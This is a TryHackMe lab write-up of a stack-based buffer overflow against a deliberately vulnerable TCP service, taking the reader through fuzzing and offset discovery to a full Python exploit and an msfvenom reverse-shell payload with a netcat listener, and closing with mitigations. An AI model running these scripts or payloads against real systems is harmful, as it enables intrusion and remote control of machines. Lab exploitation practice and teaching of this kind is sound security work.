TryHackMe: Buffer Overflow Prep — Step-by-Step Stack-Based Exploitation

---

🎯 Introduction

Buffer Overflow is one of the foundational and historically critical vulnerability classes in software security. It occurs when a program writes more data to a allocated memory buffer than the buffer is sized to hold, leading to adjacent memory corruption and allowing an attacker to hijack execution flow.

In this writeup, I walk through the full exploitation chain for the "Buffer Overflow Prep" room on TryHackMe. Specifically engineered for OSCP preparation, this room demonstrates a classic stack-based buffer overflow targeting a vulnerable TCP service. We will cover:

• Protocol fuzzing to identify crash thresholds
• Precise offset calculation via cyclic patterns
• Bad character discovery and memory inspection
• Locating reliable JMP ESP instructions with Mona
• Shellcode generation and NOP sled alignment
• Final weaponization and reverse shell execution

⚠️ Disclaimer: All activities and demonstrations documented here were performed in a controlled, authorized lab environment (TryHackMe). These techniques must only be used in legal and authorized contexts.

---

🔍 Reconnaissance

The initial phase begins with identifying and inspecting the target service running on the remote host:

telnet 10.10.10.150 1337

Trying 10.10.10.150...
Connected to 10.10.10.150.
Escape character is '^]'.
Welcome to OSCP Vulnerable Server! Enter HELP for help.

The service greets us with an interactive banner: "OSCP Vulnerable Server". Querying HELP returns the available commands. Our target command is OVERFLOW1. Sending a baseline verification string confirms standard processing:

OVERFLOW1 test
OVERFLOW1 COMPLETE

The server returns OVERFLOW1 COMPLETE, indicating our payload prefix is accepted and copied into an internal memory buffer.

---

💥 Step 1: Fuzzing — Determining the Crash Threshold

To locate the boundary where input exceeds allocated memory, we develop a straightforward socket-based fuzzer that sends incrementally larger strings prefixed with OVERFLOW1 :

#!/usr/bin/env python3
import sys, time, socket

ip = "10.10.10.150"
port = 1337
timeout = 5
prefix = "OVERFLOW1 "
string = prefix + "A" * 100

while True:
    try:
        with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
            s.settimeout(timeout)
            s.connect((ip, port))
            s.recv(1024)
            print("Fuzzing with {} bytes".format(len(string) - len(prefix)))
            s.send(bytes(string, "latin-1"))
            s.recv(1024)
    except:
        print("Fuzzing crashed at {} bytes".format(len(string) - len(prefix)))
        sys.exit(0)
    string = string + "A" * 100
    time.sleep(1)

Execution Output:

Fuzzing with 100 bytes
Fuzzing with 200 bytes
...
Fuzzing with 1900 bytes
Fuzzing with 2000 bytes
Fuzzing crashed at 2000 bytes

The service crashes reliably at roughly 2000 bytes, confirming a buffer boundary breach that overwrites the stack frame.

---

📐 Step 2: Offset Discovery — Controlling EIP

Knowing the crash threshold is insufficient; we must pinpoint the exact byte offset where the EIP (Extended Instruction Pointer) register is overwritten.

Using Metasploit's pattern_create, we generate a unique 2100-byte De Bruijn cyclic sequence:

msf-pattern_create -l 2100

We deliver this cyclic pattern within our prefix:

#!/usr/bin/env python3
import sys, time, socket

ip = "10.10.10.150"
port = 1337
timeout = 5
prefix = "OVERFLOW1 "
pattern = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab..."

try:
    with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
        s.settimeout(timeout)
        s.connect((ip, port))
        s.recv(1024)
        s.send(bytes(prefix + pattern, "latin-1"))
except:
    print("Could not connect to target.")

Upon the crash, inspecting the registers in Immunity Debugger reveals the overwrite value in EIP:

EIP = 6F43396E

Querying msf-pattern_offset with this register value calculates the exact distance:

msf-pattern_offset -l 2100 -q "6F43396E"

[*] Exact match at offset 1978

EIP is precisely overwritten after 1978 bytes. This offset forms the bedrock of our exploit structure.

---

🚫 Step 3: Bad Character Analysis

Certain byte values cause parsing truncation or data alteration within string-handling routines. The most notorious is \x00 (Null Byte, standard string terminator), but services often corrupt or strip others.

We construct a byte array containing all values from \x01 through \xff, append it directly after the 4-byte EIP overwrite (B * 4), and inspect the ESP stack dump in Immunity Debugger:

badchars = (
  "\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10"
  "\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
  "\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30"
  "\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
  "\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50"
  "\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"
  "\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70"
  "\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
  "\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90"
  "\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
  "\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0"
  "\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
  "\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0"
  "\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"
  "\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0"
  "\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
)

Comparing the raw ESP memory dump sequentially highlights corrupted or missing characters.

Identified Bad Characters:

\x00  →  Null byte (string termination)
\x07  →  Bell character
\x2e  →  Period / Dot
\xa0  →  Non-breaking space

💡 Best Practice: Eliminate bad characters iteratively. A single bad character can invalidate or truncate downstream sequence parsing in memory. Always remove discovered bad characters from your test array and re-test until clean.

---

🎯 Step 4: Finding a Stable JMP ESP Pointer

Stack addresses vary between runs due to environment variables and dynamic memory structures. To reliably execute code on the stack without hardcoding fluctuating ESP addresses, we locate a static JMP ESP pointer in an executable module lacking ASLR, SafeSEH, and Rebase protections.

Using corelan's Mona.py plugin inside Immunity Debugger:

!mona jmp -r esp -cpb "\x00\x07\x2e\xa0"

Parameters breakdown:

• -r esp: Filters specifically for pointer instructions targeting ESP (JMP ESP, CALL ESP, PUSH ESP; RET)
• -cpb "\x00\x07\x2e\xa0": Discards pointers whose addresses contain any identified bad characters

Selected Pointer:

0x625011AF

Because x86 architecture is Little-Endian, this address is represented in payload byte form as:

\xaf\x11\x50\x62

---

🐚 Step 5: Shellcode Generation

With offset, bad characters, and return address identified, we generate our reverse TCP shellcode using msfvenom:

msfvenom -p windows/shell_reverse_tcp \
    LHOST=10.10.14.5 \
    LPORT=4444 \
    EXITFUNC=thread \
    -b "\x00\x07\x2e\xa0" \
    -f py

Flag	Purpose
-p windows/shell_reverse_tcp	Staged/inline reverse command shell payload
LHOST=10.10.14.5	Attacker listener IP
LPORT=4444	Attacker listener port
EXITFUNC=thread	Clean thread termination to prevent process crash
-b "\x00\x07\x2e\xa0"	Excludes identified bad characters from encoding
-f py	Formats output as raw Python byte strings

---

🚀 Step 6: Weaponization and Exploit Assembly

We assemble the complete exploit script with a 16-byte NOP sled (\x90 * 16) preceding the shellcode to absorb register adjustments during decoding:

#!/usr/bin/env python3
import sys, time, socket

ip = "10.10.10.150"
port = 1337
timeout = 5

# msfvenom generated shellcode (truncated for brevity)
buf = b""
buf += b"\xd9\xc9\xd9\x74\x24\xf4\xba\xb3\x05\xbe\x3a\x5e"
buf += b"\x29\xc9\xb1\x52\x83\xee\xfc\x31\x56\x13\x03\xe5"
# ... [full shellcode] ...
buf += b"\x97\xc7\x70"

prefix = "OVERFLOW1 "
padding = "A" * 1978
eip = "\xaf\x11\x50\x62"       # 0x625011AF (Little-Endian)
nop_sled = "\x90" * 16          # 16-byte NOP landing zone

payload = prefix + padding + eip + nop_sled + buf.decode('latin-1')

try:
    with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
        s.settimeout(timeout)
        s.connect((ip, port))
        s.recv(1024)
        print("[*] Sending exploit payload...")
        s.send(bytes(payload, "latin-1"))
        print("[+] Exploit transmitted successfully.")
except Exception as e:
    print("[-] Connection failed: {}".format(e))

Memory Layout Structure:

┌─────────────────┬─────────────────┬───────────────────┬──────────────┬──────────────┐
│  "OVERFLOW1 "   │   "A" × 1978    │  \xaf\x11\x50\x62 │  \x90 × 16   │  Shellcode   │
│    (Command)    │    (Padding)    │    (JMP ESP)      │  (NOP Sled)  │  (Payload)   │
└─────────────────┴─────────────────┴───────────────────┴──────────────┴──────────────┘

• NOP Sled (\x90): Acts as a landing zone. If the instruction decoder or register offset lands anywhere within this zone, instructions slide smoothly into the shellcode entry point.
• Little-Endian Ordering: x86 architecture stores least-significant bytes first; hence 0x625011AF becomes \xaf\x11\x50\x62.

---

🎉 Execution and Shell Capture

Start a Netcat listener on the attack box:

nc -nvlp 4444

Execute the exploit:

python3 exploit.py

The listener catches the reverse connection:

listening on [any] 4444 ...
connect to [10.10.14.5] from (UNKNOWN) [10.10.10.150] 49234
Microsoft Windows [Version 10.0.17763.107]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Users\admin> whoami
admin-box\admin

Interactive reverse shell access achieved! 🏆

---

🛡️ Remediation and Defensive Countermeasures

Modern operating systems and compilers implement multiple exploit mitigation technologies to thwart binary attacks:

1. DEP / W^X (Data Execution Prevention): Marks the stack memory pages as non-executable (No-Execute NX bit). Attempting to run instructions from stack memory immediately triggers an access violation (STATUS_ACCESS_VIOLATION).
2. ASLR (Address Space Layout Randomization): Randomizes memory base offsets for the executable, stack, heap, and loaded DLLs upon startup, preventing static jump pointers (0x625011AF).
3. Stack Canaries / GS Protection: Compilers insert pseudo-random values prior to the return address frame. Function epilogues verify the canary value before executing RET. Corruption aborts execution immediately.
4. Safe String Functions: Replace deprecated C primitives (strcpy, strcat, gets, sprintf) with bounded equivalents (strncpy, strncat, fgets, snprintf) or memory-safe languages (Rust, Go, Modern C++).

---

🧰 Tooling Summary

Tool	Role in Chain
Telnet / Netcat	Network communication, service probing, and shell handling
Python 3	Scripting protocol fuzzer, offset validator, and exploit delivery
Metasploit Framework	pattern_create & pattern_offset cyclic calculation
Immunity Debugger	Runtime binary execution analysis and register monitoring
Mona.py	Bad character array comparison and pointer hunting
MSFvenom	Dynamic shellcode generation and bad char avoidance

---

📚 Key Takeaways

Binary exploitation follows an uncompromising, methodical process:

1. Fuzz until abnormal termination occurs.
2. Determine precise distance using unique mathematical patterns.
3. Audit the character set to prevent payload corruption.
4. Acquire execution redirection via safe, non-ASLR jump pointers.
5. Stage and fire with appropriate padding and NOP buffers.

Mastering these manual fundamentals provides crucial insight into modern memory corruption mitigations (ROP chains, heap exploitation, and mitigation bypasses).